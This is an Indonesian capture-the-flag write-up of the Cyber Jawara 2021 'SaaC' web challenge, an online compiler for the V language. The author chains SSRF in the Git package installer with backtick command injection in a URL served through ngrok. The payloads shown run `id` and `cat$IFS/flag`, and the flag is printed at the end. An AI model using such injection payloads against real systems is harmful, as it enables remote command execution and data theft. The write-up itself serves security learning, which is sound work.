[Cyber Jawara 2021] SaaC

ctf, web

Diberikan soal dan sebuah website dengan deskripsi seperti berikut

Soal

Seperti pada deskripsi soal, website ini merupakan Service as a Compiler, atau bahasa gaulnya adalah Compiler Online. Compiler ini dikhususkan untuk bahasa pemrogramman V.
Tidak hanya Compiler saja, website juga menawarkan Install Package menggunakan VPM ataupun GIT.

Website

Sedikit curhat, dari dulu saya selalu ingin solve suatu problem CTF dengan unintended solution, dan akhirnya untuk pertama kalinya saya solve problem dengan unintended solution yang akan dijelaskan pada write up kali ini

Terdapat celah SSRF (Server-Side Request Forgery) pada saat Install Package menggunakan GIT.

SSRF

Jika kita lihat header pada request yang masuk, server menggunakan modul requests untuk memproses Install Package tadi.
Setelah membandingkan dengan menginstall package menggunakan GIT pada local komputer saya, request yang masuk akan berbeda.

Command

./v install --git http://ef60-180-252-90-0.ngrok.io

Request local

Pada saat install di local, request dari modul requests pada python tidak muncul.
Nah, saya mengansumsikan bahwa pada server terdapat pengecekan apakah Url yang diinputkan merupakan Url dari GIT atau bukan, dengan melakukan request terlebih dahulu menggunakan modul requests pada python.

Lalu saya coba copy HTML source salah satu package V yaitu ui dan coba saya serve menggunakan ngrok.

Git Cloningan

Masukan Url ngrok pada Install Package menggunakan GIT dan BOOM!, masuk satu request baru yang menyerupai request saat kita menginstall package pada local

Request baru

Saya mengansumsikan flow dari soal tersebut seperti ini

Flow

maaf bila flowchartnya salah atau jelek

Nah, dengan flow seperti itu saya pikir kita dapat melakukan Command Injection di Url pada step terakhir. Dan ternyata benar, dengan menyisipkan command pada backtick (`) maka command akan dieksekusi

Payload

http://649c-180-252-90-0.ngrok.io/?c=`id`

Command Injection

SIP! tinggal cat flag dan profit 📈

Payload

http://649c-180-252-90-0.ngrok.io/?c=`cat$IFS/flag`

Flag

CJ2021{yeah_reading_through_all_of_those_documentation_must-ve_been_fun}